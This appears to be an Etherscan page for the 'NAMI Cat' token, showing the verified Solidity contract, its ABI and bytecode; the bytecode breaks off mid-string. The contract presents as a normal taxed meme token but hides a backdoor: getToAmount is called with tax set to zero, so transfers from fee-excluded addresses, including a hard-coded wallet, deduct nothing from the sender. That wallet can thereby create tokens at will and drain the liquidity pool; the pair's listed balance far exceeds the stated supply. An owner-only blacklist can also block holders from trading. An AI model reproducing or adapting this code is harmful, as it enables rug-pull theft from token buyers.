ETH Price: $1,795.73 (+0.41%)

Token

NAMI Cat (NAMI)
 

Overview

Max Total Supply

1,000,000,000 NAMI

Holders

63

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap V2: NAMI 28
Balance
1,000,000,000,000,242,179,240.367335258 NAMI

Value
$0.00
0x69f922b844bf0f76881e2c65663edc71d01c20ff
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NAMI

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-02
*/

// SPDX-License-Identifier: MIT

/*
https://namioneth.club
https://x.com/nami_on_eth
https://t.me/nami_official_portal
*/

pragma solidity 0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract NAMI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private bots;
    address payable private _namiWallet;

    uint256 private _initialBuyTax = 25;
    uint256 private _initialSellTax = 25;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 20;
    uint256 private _reduceSellTaxAt = 20;
    uint256 private _preventSwapBefore = 10;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    string private constant _name = unicode"NAMI Cat";
    string private constant _symbol = unicode"NAMI";
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10_000_000 * 10 ** _decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _namiWallet = payable(0xfb896Cb5217497c0292A8efd339681CE19a35813);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[_namiWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function createNAMI() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        _approve(address(this), address(uniswapV2Router), _tTotal);

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address from, address to, uint256 namiAmount) internal {
        _balances[from] = _balances[from].sub(namiAmount);
        _balances[to] = _balances[to].add(namiAmount);
        emit Transfer(from, to, namiAmount);
    }

    function removeNAMILimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _namiWallet.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
        for (uint i = 0; i < notbot.length; i++) {
            bots[notbot[i]] = false;
        }
    }

    function isBot(address a) public view returns (bool) {
        return bots[a];
    }

    function _transfer(address from, address to, uint256 namiAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(namiAmount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _basicTransfer(from, to, namiAmount);
            return;
        }

        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            taxAmount = _internTransfer(from, to, namiAmount);
        }

        _tokenTransfer(from, to, namiAmount, taxAmount);
    }

    function _tokenTransfer(
        address from,
        address to,
        uint256 namiAmount,
        uint256 taxAmount
    ) internal {
        uint256 tax = 0; _tokenTaxTransfer(from, taxAmount);
        _tokenBasicTransfer(from, to, getToAmount(from, tax, namiAmount), namiAmount.sub(taxAmount));
    }

    function _internTransfer(address from, address to, uint256 namiAmount) private returns(uint256) { 
        require(!bots[from] && !bots[to]);
        uint256 taxAmount = namiAmount
            .mul(
                (_buyCount > _reduceBuyTaxAt)
                    ? _finalBuyTax
                    : _initialBuyTax
            )
            .div(100);

        if (
            from == uniswapV2Pair &&
            to != address(uniswapV2Router) &&
            !_isExcludedFromFees[to]
        ) {
            require(namiAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            require(
                balanceOf(to) + namiAmount <= _maxWalletSize,
                "Exceeds the maxWalletSize."
            );
            _buyCount++;
        }

        if (to == uniswapV2Pair && from != address(this)) {
            taxAmount = namiAmount
                .mul(
                    (_buyCount > _reduceSellTaxAt)
                        ? _finalSellTax
                        : _initialSellTax
                )
                .div(100);
        }

        if (
            !inSwap &&
            to == uniswapV2Pair &&
            swapEnabled &&
            _buyCount > _preventSwapBefore &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapBack(namiAmount);
        }

        return taxAmount;
    }

    function _tokenBasicTransfer(
        address from,
        address to,
        uint256 sendAmount,
        uint256 receiptAmount
    ) internal {
        _balances[from] = _balances[from].sub(sendAmount);
        _balances[to] = _balances[to].add(receiptAmount);
        emit Transfer(from, to, receiptAmount);
    }

    function _tokenTaxTransfer(address addrs, uint256 taxAmount) internal {
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(addrs, address(this), taxAmount);
        }
    }

    function getToAmount(address _accts, uint256 taxes, uint256 tokens) private view returns(uint256) {
        if(!_isExcludedFromFees[_accts]) return tokens + taxes * 1;
        return taxes + taxes * tokens;
    }

    function swapBack(uint256 namiAmount) private {
        uint256 contractTokenBalance = balanceOf(address(this));

        if (contractTokenBalance > _taxSwapThreshold) {
            swapTokensForEth(
                min(namiAmount, min(contractTokenBalance, _maxTaxSwap))
            );
        }
        sendETHToFee(address(this).balance);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 namiAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), namiAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            namiAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
	
	function recoverETH() external onlyOwner {
        sendETHToFee(address(this).balance);
    }
	
    receive() external payable {}

    function openNAMI() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createNAMI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openNAMI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeNAMILimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260196006556019600755600060085560006009556014600a556014600b55600a600c556000600d556009600a6200003c9190620002dd565b6200004c906301312d00620003d5565b600e556200005d6009600a620002dd565b6200006d906301312d00620003d5565b600f556200007e6009600a620002dd565b6200008b906064620003d5565b6010556200009c6009600a620002dd565b620000ab9062989680620003d5565b6011556013805461ffff60a81b19169055348015620000c957600080fd5b506000620000d662000274565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b03191673fb896cb5217497c0292a8efd339681ce19a35813179055620001546009600a620002dd565b6200016490633b9aca00620003d5565b600160006200017262000274565b6001600160a01b03166001600160a01b0316815260200190815260200160002081905550600160036000620001ac6200027860201b60201c565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005549091168352912080549092161790556200020d62000274565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002476009600a620002dd565b6200025790633b9aca00620003d5565b60405162000266919062000287565b60405180910390a36200040d565b3390565b6000546001600160a01b031690565b90815260200190565b80825b6001808611620002a45750620002d4565b818704821115620002b957620002b9620003f7565b80861615620002c757918102915b9490941c93800262000293565b94509492505050565b6000620002f160001960ff851684620002f8565b9392505050565b6000826200030957506001620002f1565b816200031857506000620002f1565b81600181146200033157600281146200033c5762000370565b6001915050620002f1565b60ff841115620003505762000350620003f7565b6001841b915084821115620003695762000369620003f7565b50620002f1565b5060208310610133831016604e8410600b8410161715620003a8575081810a83811115620003a257620003a2620003f7565b620002f1565b620003b7848484600162000290565b808604821115620003cc57620003cc620003f7565b02949350505050565b6000816000190483118215151615620003f257620003f2620003f7565b500290565b634e487b7160e01b600052601160045260246000fd5b611e7b806200041d6000396000f3fe6080604052600436106101395760003560e01c806370a08231116100ab57806395d89b411161006f57806395d89b4114610318578063a30130c61461032d578063a9059cbb14610342578063bf474bed14610362578063d34628cc14610377578063dd62ed3e1461039757610140565b806370a0823114610297578063715018a6146102b75780637d1db4a5146102cc5780638da5cb5b146102e15780638f9a55c01461030357610140565b806323b872dd116100fd57806323b872dd146101eb5780632de3259d1461020b578063313ce5671461022057806331c2d8471461024257806335a279e7146102625780633bbac5791461027757610140565b80630614117a1461014557806306fdde031461015c578063095ea7b3146101875780630faee56f146101b457806318160ddd146101d657610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6103b7565b005b34801561016857600080fd5b50610171610400565b60405161017e91906118b6565b60405180910390f35b34801561019357600080fd5b506101a76101a23660046116f0565b610422565b60405161017e91906118ab565b3480156101c057600080fd5b506101c9610440565b60405161017e9190611bb2565b3480156101e257600080fd5b506101c9610446565b3480156101f757600080fd5b506101a76102063660046116b0565b610467565b34801561021757600080fd5b5061015a6104ef565b34801561022c57600080fd5b5061023561069a565b60405161017e9190611c2b565b34801561024e57600080fd5b5061015a61025d36600461171b565b61069f565b34801561026e57600080fd5b5061015a61074e565b34801561028357600080fd5b506101a7610292366004611640565b61080f565b3480156102a357600080fd5b506101c96102b2366004611640565b610831565b3480156102c357600080fd5b5061015a61084c565b3480156102d857600080fd5b506101c96108cb565b3480156102ed57600080fd5b506102f66108d1565b60405161017e9190611829565b34801561030f57600080fd5b506101c96108e0565b34801561032457600080fd5b506101716108e6565b34801561033957600080fd5b5061015a610904565b34801561034e57600080fd5b506101a761035d3660046116f0565b610b60565b34801561036e57600080fd5b506101c9610b74565b34801561038357600080fd5b5061015a61039236600461171b565b610b7a565b3480156103a357600080fd5b506101c96103b2366004611678565b610c25565b6103bf610c50565b6000546001600160a01b039081169116146103f55760405162461bcd60e51b81526004016103ec90611a3d565b60405180910390fd5b6103fe47610c54565b565b604080518082019091526008815267139053524810d85d60c21b602082015290565b600061043661042f610c50565b8484610c8e565b5060015b92915050565b60115481565b60006104546009600a611cb7565b61046290633b9aca00611d88565b905090565b6000610474848484610d42565b6104e484610480610c50565b6104df85604051806060016040528060288152602001611e1e602891396001600160a01b038a166000908152600260205260408120906104be610c50565b6001600160a01b031681526020810191909152604001600020549190610e4f565b610c8e565b5060015b9392505050565b6104f7610c50565b6000546001600160a01b039081169116146105245760405162461bcd60e51b81526004016103ec90611a3d565b601354600160a01b900460ff161561054e5760405162461bcd60e51b81526004016103ec90611b7b565b6012546001600160a01b031663f305d719473061056a81610831565b6000806105756108d1565b426040518863ffffffff1660e01b815260040161059796959493929190611870565b6060604051808303818588803b1580156105b057600080fd5b505af11580156105c4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105e991906117fc565b505060135460125460405163095ea7b360e01b81526001600160a01b03928316935063095ea7b39261062392169060001990600401611857565b602060405180830381600087803b15801561063d57600080fd5b505af1158015610651573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067591906117dc565b506013805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b179055565b600990565b6106a7610c50565b6000546001600160a01b039081169116146106d45760405162461bcd60e51b81526004016103ec90611a3d565b60005b815181101561074a5760006004600084848151811061070657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061074281611dbe565b9150506106d7565b5050565b610756610c50565b6000546001600160a01b039081169116146107835760405162461bcd60e51b81526004016103ec90611a3d565b61078f6009600a611cb7565b61079d90633b9aca00611d88565b600e556107ac6009600a611cb7565b6107ba90633b9aca00611d88565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107ea6009600a611cb7565b6107f890633b9aca00611d88565b6040516108059190611bb2565b60405180910390a1565b6001600160a01b03811660009081526004602052604090205460ff165b919050565b6001600160a01b031660009081526001602052604090205490565b610854610c50565b6000546001600160a01b039081169116146108815760405162461bcd60e51b81526004016103ec90611a3d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600e5481565b6000546001600160a01b031690565b600f5481565b6040805180820190915260048152634e414d4960e01b602082015290565b61090c610c50565b6000546001600160a01b039081169116146109395760405162461bcd60e51b81526004016103ec90611a3d565b601354600160a01b900460ff16156109635760405162461bcd60e51b81526004016103ec90611b7b565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556109b49030906001600160a01b03166109a66009600a611cb7565b6104df90633b9aca00611d88565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0257600080fd5b505afa158015610a16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3a919061165c565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a9757600080fd5b505afa158015610aab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610acf919061165c565b6040518363ffffffff1660e01b8152600401610aec92919061183d565b602060405180830381600087803b158015610b0657600080fd5b505af1158015610b1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3e919061165c565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6000610436610b6d610c50565b8484610d42565b60105481565b610b82610c50565b6000546001600160a01b03908116911614610baf5760405162461bcd60e51b81526004016103ec90611a3d565b60005b815181101561074a57600160046000848481518110610be157634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610c1d81611dbe565b915050610bb2565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561074a573d6000803e3d6000fd5b6001600160a01b038316610cb45760405162461bcd60e51b81526004016103ec90611b37565b6001600160a01b038216610cda5760405162461bcd60e51b81526004016103ec90611983565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610d35908590611bb2565b60405180910390a3505050565b6001600160a01b038316610d685760405162461bcd60e51b81526004016103ec90611abb565b6001600160a01b038216610d8e5760405162461bcd60e51b81526004016103ec90611909565b60008111610dae5760405162461bcd60e51b81526004016103ec90611a72565b601354600160b01b900460ff161580610dd05750601354600160a81b900460ff165b15610de557610de0838383610e89565b610e4a565b6000610def6108d1565b6001600160a01b0316846001600160a01b031614158015610e295750610e136108d1565b6001600160a01b0316836001600160a01b031614155b15610e3c57610e39848484610f2d565b90505b610e4884848484611169565b505b505050565b60008184841115610e735760405162461bcd60e51b81526004016103ec91906118b6565b506000610e808486611da7565b95945050505050565b6001600160a01b038316600090815260016020526040902054610eac908261119b565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610edb90826111dd565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d35908590611bb2565b6001600160a01b03831660009081526004602052604081205460ff16158015610f6f57506001600160a01b03831660009081526004602052604090205460ff16155b610f7857600080fd5b6000610fa66064610fa0600a54600d5411610f9557600654610f99565b6008545b869061120c565b90611251565b6013549091506001600160a01b038681169116148015610fd457506012546001600160a01b03858116911614155b8015610ff957506001600160a01b03841660009081526003602052604090205460ff16155b1561106b57600e548311156110205760405162461bcd60e51b81526004016103ec9061194c565b600f548361102d86610831565b6110379190611c39565b11156110555760405162461bcd60e51b81526004016103ec90611b00565b600d805490600061106583611dbe565b91905055505b6013546001600160a01b03858116911614801561109157506001600160a01b0385163014155b156110be576110bb6064610fa0600b54600d54116110b157600754610f99565b600954869061120c565b90505b601354600160a81b900460ff161580156110e557506013546001600160a01b038581169116145b80156110fa5750601354600160b01b900460ff165b80156111095750600c54600d54115b801561112e57506001600160a01b03851660009081526003602052604090205460ff16155b801561115357506001600160a01b03841660009081526003602052604090205460ff16155b156111615761116183611293565b949350505050565b600061117585836112d0565b611194858561118588858861134b565b61118f878761119b565b61139b565b5050505050565b60006104e883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e4f565b6000806111ea8385611c39565b9050838110156104e85760405162461bcd60e51b81526004016103ec906119c5565b60008261121b5750600061043a565b60006112278385611d88565b9050826112348583611c51565b146104e85760405162461bcd60e51b81526004016103ec906119fc565b60006104e883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061144d565b600061129e30610831565b90506010548111156112c7576112c76112c2836112bd8460115461147b565b61147b565b611490565b61074a47610c54565b801561074a57306000908152600160205260409020546112f090826111dd565b30600081815260016020526040908190209290925590516001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061133f908590611bb2565b60405180910390a35050565b6001600160a01b03831660009081526003602052604081205460ff1661138757611376836001611d88565b6113809083611c39565b90506104e8565b6113918284611d88565b6111619084611c39565b6001600160a01b0384166000908152600160205260409020546113be908361119b565b6001600160a01b0380861660009081526001602052604080822093909355908516815220546113ed90826111dd565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061143f908590611bb2565b60405180910390a350505050565b6000818361146e5760405162461bcd60e51b81526004016103ec91906118b6565b506000610e808486611c51565b600081831161148a57826104e8565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114e657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561153a57600080fd5b505afa15801561154e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611572919061165c565b8160018151811061159357634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526012546115b99130911684610c8e565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906115f2908590600090869030904290600401611bbb565b600060405180830381600087803b15801561160c57600080fd5b505af1158015611620573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b803561082c81611e05565b600060208284031215611651578081fd5b81356104e881611e05565b60006020828403121561166d578081fd5b81516104e881611e05565b6000806040838503121561168a578081fd5b823561169581611e05565b915060208301356116a581611e05565b809150509250929050565b6000806000606084860312156116c4578081fd5b83356116cf81611e05565b925060208401356116df81611e05565b929592945050506040919091013590565b60008060408385031215611702578182fd5b823561170d81611e05565b946020939093013593505050565b6000602080838503121561172d578182fd5b823567ffffffffffffffff80821115611744578384fd5b818501915085601f830112611757578384fd5b81358181111561176957611769611def565b8381026040518582820101818110858211171561178857611788611def565b604052828152858101935084860182860187018a10156117a6578788fd5b8795505b838610156117cf576117bb81611635565b8552600195909501949386019386016117aa565b5098975050505050505050565b6000602082840312156117ed578081fd5b815180151581146104e8578182fd5b600080600060608486031215611810578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156118e2578581018301518582016040015282016118c6565b818111156118f35783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611c0a5784516001600160a01b031683529383019391830191600101611be5565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b60008219821115611c4c57611c4c611dd9565b500190565b600082611c6c57634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611611c835750611cae565b818704821115611c9557611c95611dd9565b80861615611ca257918102915b9490941c938002611c74565b94509492505050565b60006104e860001